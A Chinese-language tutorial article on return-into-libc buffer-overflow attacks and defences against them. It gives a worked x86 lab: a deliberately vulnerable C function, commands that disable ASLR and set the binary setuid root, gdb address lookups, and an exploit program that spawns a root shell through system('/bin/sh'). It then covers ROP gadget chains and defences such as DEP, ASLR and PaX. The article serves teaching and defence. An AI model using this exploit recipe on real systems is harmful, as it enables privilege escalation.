Return-into-libc 攻击及其防御(2)
- UID
- 1066743
|
Return-into-libc 攻击及其防御(2)
Return-into-libc 攻击实验x86 平台攻击实验作者在 Ubuntu x86 系统中进行了 return-into-libc 攻击实验。实验通过使漏洞程序跳转到 libc 库函数的 system()函数并执行 system("/bin/sh")来实现的攻击。实验主要涉及一个漏洞程序和一个攻击程序。攻击时,攻击程序首先将溢出缓冲区的内容写入文件中,而漏洞程序则将此文件内容读入缓冲区造成其溢出。更进一步的攻击可以参见参考资源中的“return-to-libc 攻击实验”。
清单 1.漏洞程序核心内容1
2
3
4
5
6
7
8
9
10
| int bof(FILE *badfile)
{
......
char buffer[12];
fread(buffer, sizeof(char), 50, badfile);
......
}
|
清单 1 是目标漏洞程序,缓冲区 buffer 在读入文件 badfile 时被溢出。攻击时,需要在 bof 的返回地址即 buf[24-27]这四个字节存入 system()函数的入口地址,接着在buf[28-31]的这四个字节放置exit函数的入口地址作为返回地址,最后在buf[32-35]这四个字节放置 system 的参数"/bin/sh"的地址。如果溢出成功,则当 bof 返回时会跳转到 system()函数并最终调用 exit 函数。
为此,需要获得system()、exit()函数的入口地址,同时还需要获得system的参数"/bin/sh"的地址。
1
2
3
4
5
| 第一步:编译漏洞程序
sudo sysctl -w kernel.randomize_va_space=0
gcc -g -fno-stack-protector -o retlibc retlibc.c
sudo chown root:root retlibc
sudo chmod 4755 retlibc
|
第二步:将"/bin/sh"放置在环境变量BIN_SH中,并通过getenv()函数获得其大致地址 0xbffffe1c。但实际字符串"/bin/sh" 的地址还需要进一步确认。
1
2
3
4
5
6
7
8
9
| $gdb retlibc
......
(gdb)p/x *0xbffffe1c@4
$1={0x5f4e4942,0x2f3d4853,0x2f6e6962,0x48006873}
(gdb)p/x *0xbffffe23@4
$2={0x6e69622f,0x68732f,0x454d4f48,0x6f682f3d}
(gdb)x/8ub 0xbffffe23
0xbffffe23: 47 98 105 110 47 115 104 0
(gdb)
|
最后一条命令打印出来的实际上字符串“/bin/sh”的ASCII 编码,因此可以推断 “/bin/sh” 字符串在0xbffffe23附近。在实际攻击中通过实验可以发现字符串实际位于地址 0xbffffe24。
第三步:用 GDB 获取system()和 exit()的入口地址。
1
2
3
4
5
6
7
| $gdb retlibc
......
(gdb) p system
$1={<text variable, no debug info> 0x168680 <system>
(gdb)p exit
$2={<text variable, no debug info> 0x15e6e0 <exit>
(gdb)
|
第四步:在获得了三个地址后就可以得到清单2 中的攻击程序,并实施攻击。
清单 2.攻击程序核心内容1
2
3
4
5
6
7
8
9
10
11
12
13
14
| int main(int argc, char **argv)
{ ......
*(long *) &buf[24] = 0x168680 ; // system()
*(long *) &buf[28] = 0x15e6e0 ; // exit()
*(long *) &buf[32] = 0xbffffe24; // "/bin/sh"
fwrite(buf, sizeof(buf), 1, badfile);
......
}
|
实施攻击
攻击实验说明 return-into-libc 攻击可以在 x86平台中成功实施,执行了system(“/bin/sh”)获得了root权限,那么在x86_64 平台中呢?
x86_64 平台攻击实验在 x86_64 平台的实验采用了与 x86 平台类似的方式。我们为假 system()函数构造了一个假的栈帧内容,并让其执行特定的命令“/bin/sh”,但攻击并没有成功。这是因为在 x86_64 的 CPU 平台中程序执行时参数不是通过栈传递的而是通过寄存器,而 return-into-libc 需要将参数通过栈来传递。因此 system()函数始终不能获得正确的参数。为了验证这一点,我们通过 gdb 跟踪进入 system()后的过程。
1
2
3
4
5
6
7
8
9
10
| $gdb retlibc
......
(gdb)p/x $rdi
$1=0x7fffffffe012
(gdb)set $rdi=0x7fffffffeddf
(gdb)c
continuing.
$pwd
/home/fmliu/paper
$
|
system()函数通过 rdi 寄存器获得参数“/bin/sh”的地址,因此在 gdb 中我们重新设定 rdi 寄存器的值为字符串地址后,攻击就可以实施了。因此,说明攻击确实是仅仅因为参数通过寄存器而非栈传递而导致了失败。虽然传统 return-into-libc 的方式未能成功,对于 x86_64 平台仍然可以进一步通过下一节中讨论的返回导向编程来实施.。
返回导向编程前面实验中的 Return-into-libc 攻击用库函数的地址来覆盖程序函数调用的返回地址,这样在程序返回时就可以调用库函数从而使攻击得以成功实施。但是由于攻击者可用的指令序列只能为应用程序中已存在的函数,所以这种攻击方式的攻击能力有限。此外,如上一节中的讨论,攻击只能在 x86 的 CPU 平台中实施而对 x86_64 的 CPU 平台中无效。这是因为在我们实验的 x86_64CPU 平台中程序执行时参数不是通过栈传递的而是通过寄存器,而 return-into-libc 需要将参数通过栈来传递。如果 system()的参数需要通过寄存器传递%rdi 那么攻击就会失败,攻击者也不能控制攻击时的控制流。
由于这种 return-into-libc 攻击方式的局限性,返回导向编程(Return-Oriented Programming, ROP)被提出,并成为一种有效的 return-into-libc 攻击手段。返回导向编程攻击的方式不再局限于将漏洞程序的控制流跳转到库函数中,而是可以利用程序和库函数中识别并选取的一组指令序列。攻击者将这些指令序列串连起来,形成攻击所需要的 shellcode 来从事后续的攻击行为。因此这种方式仍然不需要注入新的指令到漏洞程序就可以完成任意的操作。同时,它不利用完整的库函数,因此也不依赖于函数调用时通过堆栈传递参数。
返回导向编程攻击时,攻击者首先需要选取构建 shellcode 的指令,指令可以来自于应用程序二进制代码也可以来自于链接库。这些指令串连起来就可以形成整个 shellcode 的功能。最简单来讲,选取的每个连续指令序列都以“return”指令结束,这样如果攻击者在栈中放入后一个以“return”指令结束的指令序列的首指令地址,则在前一个”return”指令执行并返回时会 pop 栈中的后一个指令序列的首指令地址,并从前一个指令序列跳转到下一个指令序列执行。以此类推,就可以串连形成一个 ROP 链完成整个攻击。
例如,在 x86_64 平台的攻击中,在向 system()函数传递参数时需要将%rdi 设定为特定的值,并”call”system 函数。这个功能可以通过构建 ROP 链来实现。“x86_64 buffer overflow exploits and the borrowed code chunks exploitation technique”中给出了一个实例, 如图 2。
图 2.ROP 链及栈内容构建清单 3.ROP 实例执行的指令序列1
2
3
4
5
6
7
8
| pop %rbx
retq
mov %rbx,%rax
add $0xe0,%rsp
pop %rbx
retq
move %rsp,%rdi
callq *%eax
|
1.第 1 句汇编指令将 system()函数的地址放入 rbx 寄存器。然后返回执行第 3 句汇编指令。
2.第 3-6 句汇编指令将 rbx 寄存器内容传入 rax,即用 rax 保存 system()函数的地址。
3.最后两句汇编指令设定寄存器 rdi 的值,并调用 eax 指向的 system()函数。
从上面的例子可以看出,ROP 攻击代码的指令流在形式上具有一定的特征,即 ROP 代码中包含有大量的“return”指令。 同时,每一小段指令序列通常都比较短小,一般只包含两到三个汇编语句,它们仅仅完成整个 shellcode 的一部分工作。这些指令通过“return”指令串连起来,实现最终 shellcode 的执行。其与传统 return-into-libc 攻击不同,在传统攻击中每个指令序列实际上是整个函数,而不是 ROP 攻击中的几条汇编指令。因此 ROP 攻击在一个更低的抽象层来进行攻击,更加灵活。构建 ROP 链有很多的技巧,具体可以参见参考资源中关于返回导向编程的论文内容。
防御机制对普通缓冲区溢出攻击的防御,一方面需要程序员使用能够防止缓冲区溢出的函数,警惕攻击的发生。另一方面,这种防御可以由系统提供。比如数据执行保护机制(DEP),该机制可以保护程序的内存使其不能同时被写和被执行,从而防止了代码注入式的缓冲区溢出攻击。但是,这些机制仍然不能有效抵御 return-into-libc 和返回导向编程这种重用已有代码的攻击,因此还需要进一步的解决方案。
目前对于 return-into-libc 和返回导向编程攻击,地址空间布局随机化(Address Space Layout Randomization,ASLR)机制是最为有效的防御机制之一。ASLR 可以实现对进程的堆、 栈、代码和共享库等的地址在程序每次运行的时候的随机化, 大大增加了定位到需要利用的代码的正确位置的难度,因此也就大大增加了 return-into-libc 和返回导向编程攻击的难度以及对攻击的防御能力。由于程序运行时的地址被随机化,在攻击时攻击者无法直接定位到所需利用的随机化后的内存地址,而只能依赖于对这些数据、代码运行时的实际地址的猜测。因此攻击者猜对的可能性比较低,很难成功发起攻击。同时,也容易导致程序运行时崩溃,因而减小了检测到攻击的难度。
PaXPax 是一个内核补丁,最开始其主要特征是不允许任何数据段可执行,但这对于 return-into-libc 和返回导向编程攻击这种防护是不够的。因此,为了防御此类攻击,PaX 增加了对代码和数据的内存地址进行随机化的功能。目前这些功能已经在 Linux 系统中得到了广泛应用。如果在配置内核过程中设置了 CONFIG_PAX_RANDMMAP 选项,库函数、堆栈和程序基址等都可以被映射到内存中的一个随机地址。PaX 对程序运行时进程的地址空间进行了随机化,其不用对程序本身进行改动,增强了对这种重用已有合法代码攻击方式的防御。但这种方式的不足在于,PaX 技术不能对程序内部的代码或数据在内存中的顺序等进行变化,增加攻击难度。
地址混淆地址混淆(Address Randomization) 方法不仅可以随机化栈、堆、动态库、函数和静态数据等的内存基址,还可以实现程序数据相对地址的随机化(包括变量或函数的顺序的变化等)。它较 PaX 技术的优势在于不仅可以抵御 PaX 中利用基地址的猜测的攻击,还可以抵御利用相对地址猜测的攻击。这种技术的提出者 Bhatkar 等后来又在此基础上提出了使用源代码转换的方法随机化 C 程序。在程序每次装载和运行时,进程的虚拟内存空间都会被随机化一次。
结束语与普通缓冲区溢出攻击相比,return-into-libc 攻击的防御难度更大。它可以避开数据执行保护策略,成为一种更有效、危险性更高的缓冲区溢出攻击。为此,读者需要理解 return-into-libc 攻击的攻击原理以及如何在系统中防止攻击的发生。目前对于 return-into-libc 攻击,地址空间布局随机化 ASLR 机制是最为有效的防御机制之一,它包括内核补丁 PaX 和地址混淆等技术。ASLR 可以对进程的堆、 栈、代码和共享库等的地址在程序每次运行的时候均随机化一次,增加了攻击者成功发起攻击的难度,同时更容易导致攻击时程序运行的崩溃,使得检测机制也更容易检测到此种攻击。本文给出的这些防御机制可以帮助读者保护程序并使其避开 return-into-libc 攻击带来的安全问题。 |
|
|
|
|
|